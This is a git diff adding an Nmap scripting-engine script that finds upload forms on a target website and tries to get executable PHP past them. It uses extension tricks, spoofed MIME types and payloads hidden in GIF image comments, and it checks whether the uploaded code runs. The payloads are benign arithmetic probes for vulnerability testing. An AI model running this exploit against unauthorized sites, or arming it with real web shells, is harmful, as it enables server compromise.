summaryrefslogtreecommitdiffstats
path: root/scripts/http-fileupload-exploiter.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-fileupload-exploiter.nse')
-rw-r--r--scripts/http-fileupload-exploiter.nse342
1 files changed, 342 insertions, 0 deletions
diff --git a/scripts/http-fileupload-exploiter.nse b/scripts/http-fileupload-exploiter.nse
new file mode 100644
index 0000000..b771ae9
--- /dev/null
+++ b/scripts/http-fileupload-exploiter.nse
@@ -0,0 +1,342 @@
+description = [[
+Exploits insecure file upload forms in web applications
+using various techniques like changing the Content-type
+header or creating valid image files containing the
+payload in the comment.
+]]
+
+---
+-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
+--
+-- This script discovers the upload form on the target's page and
+-- attempts to exploit it using 3 different methods:
+--
+-- 1) At first, it tries to upload payloads with different insecure
+-- extensions. This will work against a weak blacklist used by a file
+-- name extension verifier.
+--
+-- 2) If (1) doesn't work, it will try to upload the same payloads
+-- this time with different Content-type headers, like "image/gif"
+-- instead of the "text/plain". This will trick any mechanisms that
+-- check the MIME type.
+--
+-- 3) If (2), doesn't work, it will create some proper GIF images
+-- that contain the payloads in the comment. The interpreter will
+-- see the executable inside some binary garbage. This will bypass
+-- any check of the actual content of the uploaded file.
+--
+-- TODO:
+-- * Use the vulns library to report.
+--
+-- @args http-fileupload-exploiter.formpaths The pages that contain
+-- the forms to exploit. For example, {/upload.php, /login.php}.
+-- Default: nil (crawler mode on)
+-- @args http-fileupload-exploiter.uploadspaths Directories with
+-- the uploaded files. For example, {/avatars, /photos}. Default:
+-- {'/uploads', '/upload', '/file', '/files', '/downloads'}
+-- @args http-fileupload-exploiter.fieldvalues The script will try to
+-- fill every field found in the upload form but that may fail
+-- due to fields' restrictions. You can manually fill those
+-- fields using this table. For example, {gender = "male", email
+-- = "foo@bar.com"}. Default: {}
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | Testing page /post.html
+-- |
+-- | Successfully uploaded and executed payloads:
+-- | Filename: 1.php, MIME: text/plain
+-- |_ Filename: 1.php3, MIME: text/plain
+---
+
+categories = {"intrusive", "exploit", "vuln"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local io = require "io"
+local nmap = require "nmap"
+local string = require "string"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+
+-- A list of payloads. The interpreted code in the 'content' variable should
+-- output the result in the 'check' variable.
+--
+-- You can manually add / remove your own payloads but make sure you
+-- don't mess up, otherwise the script may succeed when it actually
+-- hasn't.
+--
+-- Note, that more payloads will slow down your scan significantly.
+payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+ { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
+-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
+-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
+-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
+-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
+-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
+}
+
+listofrequests = {}
+
+-- Escape for jsp and asp payloads.
+local escape = function(s)
+ return (s:gsub('%%', '%%%%'))
+end
+
+-- Represents an upload-request.
+local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
+ local request = {
+ host = host;
+ port = port;
+ submission = submission;
+ mime = mime;
+ name = name;
+ filename = filename;
+ partofrequest = partofrequest;
+ payload = payload;
+ check = check;
+ uploadedpaths = {};
+ success = 0;
+
+ make = function(self)
+ local options = { header={} }
+ options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
+ options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
+
+ stdnse.debug2("Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
+
+ local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
+
+ return response.body
+ end;
+
+ checkPayload = function(self, uploadspaths)
+ for _, uploadpath in ipairs(uploadspaths) do
+ local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
+
+ if response.status ~= 404 then
+ if (response.body:match(self.check)) then
+ self.success = 1
+ table.insert(self.uploadedpaths, uploadpath)
+ end
+ end
+ end
+ end;
+ }
+ table.insert(listofrequests, request)
+ return request
+end
+
+-- Create customized requests for all of our payloads.
+local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
+
+ for i, p in ipairs(payloads) do
+ if image then
+ p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
+ end
+ UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
+ end
+
+end
+
+-- Make the requests that we previously created with buildRequests()
+-- Check if the payloads were successful by checking the content of pages in the uploadspaths array.
+local makeAndCheckRequests = function(uploadspaths)
+
+ local exit = 0
+ local output = {"Successfully uploaded and executed payloads: "}
+
+ for i=1, #listofrequests, 1 do
+ listofrequests[i]:make()
+ listofrequests[i]:checkPayload(uploadspaths)
+ if (listofrequests[i].success == 1) then
+ exit = 1
+ table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
+ for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
+ table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
+ end
+ end
+ end
+
+ if exit == 1 then
+ return output
+ end
+
+ listofrequests = {}
+
+end
+
+local prepareRequest = function(fields, fieldvalues)
+
+ local filefield = 0
+ local req = {}
+ local value
+
+ for _, field in ipairs(fields) do
+ if field["type"] == "file" then
+ -- FIXME: What if there is more than one <input type="file">?
+ filefield = field
+ elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
+ if fieldvalues[field["name"]] ~= nil then
+ value = fieldvalues[field["name"]]
+ else
+ value = "SampleData0"
+ end
+ req[#req+1] = ('--AaB03x\nContent-Disposition: form-data; name="%s";\n\n%s\n'):format(field["name"], value)
+ end
+ end
+
+ return table.concat(req), filefield
+
+end
+
+action = function(host, port)
+
+ local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
+ local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
+ local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
+
+ local returntable = {}
+
+ local result
+ local foundform = 0
+ local foundfield = 0
+ local fail = 0
+
+ local pixel = nil
+ local pixelfn = nmap.fetchfile("nselib/data/pixel.gif")
+ if pixelfn then
+ local fh = io.open(pixelfn, "rb")
+ pixel = fh:read("a")
+ fh:close()
+ end
+ if not pixel then
+ stdnse.debug1("Warning: Test file nselib/data/pixel.gif not found")
+ end
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, k, target, response
+
+ while (true) do
+
+ if formpaths then
+ k, target = next(formpaths, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ else
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ target = tostring(r.url)
+ response = r.response
+
+ end
+
+
+ if response.body then
+
+ local forms = http.grab_forms(response.body)
+
+ for i, form in ipairs(forms) do
+
+ form = http.parse_form(form)
+
+ if form and form.action then
+
+ local action_absolute = string.find(form["action"], "https*://")
+
+ -- Determine the path where the form needs to be submitted.
+ local submission
+ if action_absolute then
+ submission = form["action"]
+ else
+ local path_cropped = string.match(target, "(.*/).*")
+ path_cropped = path_cropped and path_cropped or ""
+ submission = path_cropped..form["action"]
+ end
+
+ foundform = 1
+
+ local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
+
+ if filefield ~= 0 then
+
+ foundfield = 1
+
+ -- Method (1).
+ buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ break
+ end
+
+ -- Method (2).
+ buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
+ buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
+ buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ break
+ end
+
+ -- Method (3).
+ if pixel then
+ buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, pixel)
+
+ result = makeAndCheckRequests(uploadspaths)
+ if result then
+ table.insert(returntable, result)
+ else
+ fail = 1
+ end
+ end
+ end
+ else
+ table.insert(returntable, {"Couldn't find a file-type field."})
+ end
+ end
+ end
+ if fail == 1 then
+ table.insert(returntable, {"Failed to upload and execute a payload."})
+ end
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+ if next(returntable) then
+ return returntable
+ end
+end